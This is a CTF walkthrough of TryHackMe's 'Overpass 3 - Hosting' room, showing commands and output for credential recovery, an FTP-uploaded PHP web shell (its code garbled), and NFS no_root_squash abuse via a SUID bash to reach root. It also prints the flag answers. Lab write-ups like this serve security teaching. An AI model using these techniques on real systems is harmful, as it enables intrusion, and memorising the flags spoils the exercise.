````markdown¶
lev: Medium link: https://tryhackme.com/room/overpass3hosting site: TryHackMe title: Overpass 3 - Hosting os: Linux
βQuestion¶
What is the web flag?
π Walkthrough¶
We start by scanning the target and find three open ports:
text 21/tcp open ftp 22/tcp open ssh 80/tcp open http
The website on port 80 is called Overpass Hosting.
Looking through the page source, we can already collect some possible usernames from the "Meet the Team" section:
text Paradox Elf MuirlandOracle NinjaJc01
At this stage they are only potential usernames, but it is useful to keep them for later.
Next, we enumerate the web server using feroxbuster:
sh feroxbuster --url http://10.114.172.244/
Among the normal static files, one directory stands out:
text 301 GET http://10.114.172.244/backups
Inside it, directory listing is enabled and we find:
text http://10.114.172.244/backups/backup.zip
We download and extract the archive.
Inside there are two interesting files:
text priv.key CustomerDetails.xlsx.gpg
The spreadsheet is encrypted with GPG, but the archive also contains a private key.
We first import it:
sh gpg --import priv.key
The output confirms that both the public and secret keys were imported:
text gpg: public key "Paradox <paradox@overpass.thm>" imported gpg: secret key imported
The key belongs to Paradox, which matches one of the names found on the website.
We can now decrypt the spreadsheet:
sh gpg --output CustomerDetails.xlsx --decrypt CustomerDetails.xlsx.gpg
GPG warns that the key is expired, but this does not prevent us from decrypting the file.
Opening the spreadsheet reveals customer credentials:
text Customer Name Username Password Par. A. Doxx paradox ShibesAreGreat123 0day Montgomery 0day OllieIsTheBestDog Muir Land muirlandoracle A11D0gsAreAw3s0me
I save the username/password combinations in a file:
text paradox:ShibesAreGreat123 0day:OllieIsTheBestDog muirlandoracle:A11D0gsAreAw3s0me
Since FTP is exposed on port 21, we can quickly test the credentials without trying every username against every password.
Hydra's -C option lets us provide exact username:password pairs:
sh hydra -C users.txt ftp://10.114.172.244
Hydra finds one valid combination:
text [21][ftp] host: 10.114.172.244 login: paradox password: ShibesAreGreat123
We log into FTP as paradox.
Inside the FTP server we notice something important: the files are the same files being served by the web server.
This means the FTP account has access to the web root.
The next question is whether the FTP account is read-only or whether we can upload files.
We test an upload using put, and it succeeds.
Because the web server executes PHP, we upload a very small PHP command shell:
```php
&1');
}
?>
```
After uploading it through FTP, we access it through the browser and execute:
sh whoami
The web server responds with:
text apache
So we now have command execution as the Apache service account.
A browser-based command shell is not particularly comfortable, so I upload/use a better payload and obtain a reverse shell.
From the reverse shell:
sh whoami
returns:
text apache
We inspect Apache's home directory:
sh cd ~ ls
and find:
text error icons noindex web.flag
Reading the flag:
sh cat web.flag
Answer
thm{0ae72f7870c3687129f7a824194be09d}
βQuestion¶
What is the user flag?
π Walkthrough¶
We currently have a shell as:
text apache
The web shell itself does not give us many privileges, so we start looking for a way to pivot to a real local user.
From /etc/passwd, the interesting users are:
text james paradox
We already have a password belonging to paradox from the decrypted spreadsheet:
text ShibesAreGreat123
Since password reuse is common in CTFs, it is worth testing whether this FTP password is also the local Linux password.
From the reverse shell:
sh su paradox
We enter:
text ShibesAreGreat123
and it works.
Checking:
sh whoami
now returns:
text paradox
So the same password was reused for both FTP and the local Linux account.
SSH on the machine does not accept password authentication for this user, so instead of trying to authenticate with the password remotely, we use our local access as paradox to add our own SSH public key.
On the attacking machine, we generate a dedicated key pair:
sh ssh-keygen -t ed25519 -f ~/.ssh/overpass_paradox -N ""
This creates:
text ~/.ssh/overpass_paradox ~/.ssh/overpass_paradox.pub
We copy the public key:
sh cat ~/.ssh/overpass_paradox.pub
Then, from the paradox shell, we create the SSH directory if required:
sh mkdir -p ~/.ssh chmod 700 ~/.ssh
and append our public key to:
text ~/.ssh/authorized_keys
Finally:
sh chmod 600 ~/.ssh/authorized_keys
Now we can connect directly through SSH:
sh ssh -i ~/.ssh/overpass_paradox paradox@10.114.172.244
This gives us a much more stable shell and, more importantly, SSH port forwarding.
While enumerating the machine, /etc/exports contains something very interesting:
sh cat /etc/exports
text /home/james *(rw,fsid=0,sync,no_root_squash,insecure)
This tells us that /home/james is exported over NFS.
The important option is:
text no_root_squash
Normally, when root on an NFS client accesses a remote export, the server maps that user to an unprivileged anonymous account.
This protection is called root squashing.
With:
text no_root_squash
that protection is disabled.
Therefore, if we can mount this NFS share from our own machine as root, files we create as local root will also be treated as owned by UID 0 on the target.
First, however, we notice that NFS is not directly accessible from our attacking machine.
Trying:
sh showmount -e 10.114.172.244
returns:
text clnt_create: RPC: Unable to receive
The NFS service is therefore available internally but is not reachable directly from outside.
Now that we have SSH access as paradox, we can solve this using SSH local port forwarding.
NFS normally listens on TCP port 2049.
From our attacking machine:
sh ssh -i ~/.ssh/overpass_paradox \ -L 2049:127.0.0.1:2049 \ paradox@10.114.172.244
This creates the following path:
text Our machine:2049 | | SSH tunnel v Target:127.0.0.1:2049
Because the export uses:
text fsid=0
it represents the root of the NFS namespace.
We create a local mount point:
sh sudo mkdir -p /mnt/james
and mount it:
sh sudo mount -t nfs localhost:/ /mnt/james
Now:
sh cd /mnt/james ls
shows:
text user.flag
We can simply read it:
sh cat user.flag
Answer
thm{3693fc86661faa21f16ac9508a43e1ae}
βQuestion¶
What is the root flag?
π Walkthrough¶
At this point we can access /home/james through NFS.
While inspecting the directory, we also find James' SSH configuration:
sh ls -la /mnt/james/.ssh
Inside we find his private SSH key.
We copy the private key to our machine and save it as:
text private.key
We fix the permissions:
sh chmod 600 private.key
and connect as James:
sh ssh -i private.key james@10.114.172.244
The login succeeds:
text [james@ip-10-114-172-244 ~]$
We now have an SSH shell as james.
At first, standard privilege escalation enumeration does not show anything particularly useful.
For example, searching for SUID binaries:
sh find / -perm -4000 -type f 2>/dev/null
mostly returns standard system binaries:
text /usr/bin/mount /usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/su /usr/bin/umount /usr/bin/sudo /usr/bin/passwd /usr/bin/pkexec /usr/bin/crontab /usr/sbin/mount.nfs ...
Nothing here immediately looks like the intended route.
However, the important vulnerability has already been discovered:
text /home/james *(rw,fsid=0,sync,no_root_squash,insecure)
The no_root_squash option means that our root account on the NFS client can create files inside James' home that are actually owned by root on the target.
This opens a much simpler privilege escalation path.
One initial idea would be to create a shell script and set the SUID bit on it.
For example:
```sh
!/bin/bash¶
/bin/bash ```
However, Linux normally ignores the SUID bit on interpreted scripts for security reasons.
Instead, we can use an actual ELF binary.
We do not even need to compile anything because /bin/bash already exists.
From our local machine, inside the mounted NFS share, we copy Bash:
sh sudo cp /bin/bash /mnt/james/bash
Because the operation is performed as local root and the NFS export has no_root_squash, the file appears on the remote system as owned by root.
We explicitly make sure the ownership is correct:
sh sudo chown root:root /mnt/james/bash
Then we set the SUID bit:
sh sudo chmod 4755 /mnt/james/bash
The mode 4755 means:
text 4 -> SUID 7 -> owner: read/write/execute 5 -> group: read/execute 5 -> others: read/execute
Checking the file from James' SSH session:
sh ls -la ~/bash
shows:
text -rwsr-xr-x 1 root root ... bash
The important part is:
text rws
instead of:
text rwx
The s indicates that the SUID bit is active.
Because the file belongs to root, executing it causes the process to receive an effective UID of 0.
Simply starting Bash is not quite enough because Bash normally drops elevated privileges for safety.
Therefore we execute it with:
sh ./bash -p
The -p option tells Bash to preserve the effective privileges it inherited from the SUID binary.
We now get:
text bash-4.4#
and verify:
sh whoami
text root
At this point we have successfully escalated from:
text apache β paradox β james β root
Finally:
sh cat /root/root.flag
Answer
thm{a4f6adb70371a4bceb32988417456c44}
π Attack Path Summary¶
The complete attack chain was:
text Web enumeration β /backups/backup.zip β GPG private key + encrypted XLSX β Decrypt customer credentials β FTP login as paradox β FTP has write access to web root β Upload PHP web shell β Code execution as apache β Read web.flag β Reuse paradox password locally β su paradox β Add SSH public key β SSH access as paradox β Discover NFS export with no_root_squash β SSH tunnel TCP/2049 β Mount /home/james over NFS β Read user.flag + obtain James SSH private key β SSH as james β Use no_root_squash to create root-owned SUID bash β ./bash -p β root
```